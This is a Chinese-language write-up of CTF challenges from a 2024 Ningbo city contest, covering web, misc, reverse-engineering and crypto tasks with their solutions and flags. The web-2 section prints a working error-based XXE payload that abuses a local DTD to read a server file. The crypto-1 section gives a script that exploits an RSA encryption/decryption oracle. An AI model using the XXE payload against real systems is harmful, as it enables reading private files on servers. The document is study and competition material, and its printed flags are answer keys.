2024年第七届天一永安杯宁波市赛初赛WP
1 Web
1.1 web-1
正常网页访问无法得到 flag ,因为有弹窗一直阻塞,所以用 curl 命令即可
curl -i http://ip:port
1.2 web-2
看到网页源代码中的发送方法,是拼接了 xxe
flag
在 /flag
下,但是没回显,所以想办法使用 DTD
进行外带,但是外带不可取
所以利用本地存在的 DTD
进行攻击
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<person><username>&xxe;</username><password>1</password></person>
flag{81324bd5f1a7667753f108357c1bda728f6fb815}
2 Misc
2.1 misc-1
StegSolve 777导出16进制
文本复制观察每行第一个字母,得到 PixelJihad_key:ezgame
2.2 misc-2
零宽
猜测为 ilove 1 and 0
二进制 圆圈为0 直线为1
绘图
[C[C[C[SFS]]]]
替换为1
[[[[RS[[[FS]]]]]]] [[[[[F]][R[[[SF]]S]]S]]]、[[R[FSFSFSF]S]FSF][[R[FSFFSF]]FSF]、[[RS[FSFSF]]FSF][[R[FFSF]]FSF]、[[R[FFSFFF]]FSF][[R[FSFFSFSF]]FSF]、[[R[FSFSF]]FSF][[R[FSFSF]]FF]
替换为0
[C[C[C[CRR[[R[FSFSF]]FSF][C[R[FSFFS]]FF]]]、[C[C[C[CRR[[R[FSFSF]]FSF][C[R[FSFFS]]FF]]]
替换为0000
替换后,得到如下二进制
01100110011011000110000101100111011110110011000101011111011101110110000101101110011011100110000101011111011000110011000101110010011000110110110000110011011100110101111100110100011011100110010001011111001100010110100101101110001100110111001101111101
二进制转字符
3 Reverse
3.1 re-1
两次 RC4
加密,第一次加密了 key
,第二次使用加密的 key
加密 flag
#include<stdio.h>
#include<stdint.h>
#include<stdlib.h>
#include<string.h>
void rc4_init(unsigned char* s,char* key,unsigned long len){
int i = 0;
int j = 0;
unsigned char k[256]={0};
unsigned char temp =0;
for(i = 0;i < 256;i++){
s[i]=i;
k[i]=key[i%len];
}
for(i = 0;i < 256;i++){
j=(j+s[i]+k[i])%256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
}
}
unsigned __int64 __fastcall init(__int64 a1, __int64 a2, unsigned __int64 a3)
{
char v4; // [rsp+23h] [rbp-41Dh]
int i; // [rsp+24h] [rbp-41Ch]
int v6; // [rsp+28h] [rbp-418h]
int j; // [rsp+2Ch] [rbp-414h]
int v8[258]; // [rsp+30h] [rbp-410h] BYREF
memset(v8, 0, 0x400uLL);
for ( i = 0; i <= 255; ++i )
{
*(char *)(i + a1) = i;
v8[i] = *(unsigned __int8 *)(i % a3 + a2);
}
v6 = 0;
for ( j = 0; j <= 255; ++j )
{
v6 = (v8[j] + v6 + *(unsigned __int8 *)(j + a1)) % 256;
v4 = *(char *)(j + a1);
*(char *)(j + a1) = *(char *)(v6 + a1);
*(char *)(a1 + v6) = v4;
}
}
__int64 __fastcall crypt1(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 result; // rax
char v4; // [rsp+27h] [rbp-11h]
int v5; // [rsp+28h] [rbp-10h]
int v6; // [rsp+2Ch] [rbp-Ch]
int i; // [rsp+30h] [rbp-8h]
v5 = 0;
v6 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( a3 <= i )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
v4 = *(char *)(v5 + a1);
*(char *)(v5 + a1) = *(char *)(v6 + a1);
*(char *)(a1 + v6) = v4;
*(char *)(i + a2) ^= *(char *)((unsigned __int8)(*(char *)(v5 + a1) + *(char *)(v6 + a1)) + a1);
}
return result;
}
crypt2(__int64 a1, __int64 a2, unsigned __int64 a3)
{
__int64 result; // rax
char v4; // [rsp+27h] [rbp-11h]
int v5; // [rsp+28h] [rbp-10h]
int v6; // [rsp+2Ch] [rbp-Ch]
int i; // [rsp+30h] [rbp-8h]
v5 = 0;
v6 = 0;
for ( i = 0; ; ++i )
{
result = i;
if ( a3 <= i )
break;
v5 = (v5 + 1) % 256;
v6 = (v6 + *(unsigned __int8 *)(v5 + a1)) % 256;
v4 = *(char *)(v5 + a1);
*(char *)(v5 + a1) = *(char *)(v6 + a1);
*(char *)(a1 + v6) = v4;
*(char *)(i + a2) += *(char *)((unsigned __int8)(*(char *)(v5 + a1) + *(char *)(v6 + a1)) + a1);
}
return result;
}
int main(){
char key1[8] = "keykey";
char key[12] = "ban_debug!";
unsigned char s[256]={0};
unsigned int length = strlen(key1);
init(s,key1,length);
unsigned int length2 = strlen(key);
crypt1(s,key,length2);
// seconds
unsigned int v0 = strlen(key);
init(s,key,v0);
unsigned char flag[] =
{
0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66,
0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F, 0x54, 0x4A, 0x3B, 0x08,
0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81,
0xCF
};
unsigned int v2 = strlen(flag);
crypt2(s,flag,v2);
printf(flag);
}
//flag{1237-12938-9372-1923-4u92}
3.2 re-2
upx
的壳,但魔改过了,直接用 dbg
动调就可以,在执行完加密函数后下断点,记得输入的 flag
长度要为 27
,才能进入到加密函数中,他的加密函数是直接解密了 flag
所以通过调试可以直接得到 flag
4 Crypto
4.1 crypto-1
import json
import websocket
from Crypto.Util.number import *
from gmpy2 import *
def get_flag(websocket):
result = ""
websocket.send(
json.dumps({"cmd": "get_flag"})
)
while result == "" or "Pls send msgs and I'll return the result" in result:
result = websocket.recv()
return result
def f(websocket, cmd, data):
result = ""
websocket.send(json.dumps({"cmd": cmd, "data": data.zfill(512)}))
while result == "" or "Pls send msgs and I'll return the result" in result:
result = websocket.recv()
return result
uri = "ws://xxx"
ws = websocket.create_connection(uri)
c = int(get_flag(ws), 16)
c2 = int(f(ws, "enc", hex(2)[2:]), 16)
c3 = int(f(ws, "enc", hex(3)[2:]), 16)
c4 = int(f(ws, "enc", hex(4)[2:]), 16)
c9 = int(f(ws, "enc", hex(9)[2:]), 16)
n = GCD(c2**2 - c4, c3**2 - c9)
enc_flag_2 = c2 * c % n
flag_2 = int(f(ws, "dec", hex(enc_flag_2)[2:]), 16)
print(long_to_bytes(flag_2 // 2))
4.2 crypto-2
使用他的客户端程序
分别输入 uid=admin
,seed=任意值
,然后会打开一个 python
的客户端,这个时候输入的 seed
要和前面的 seed
一致
然后发送消息 give me flag
在网页中得到 flag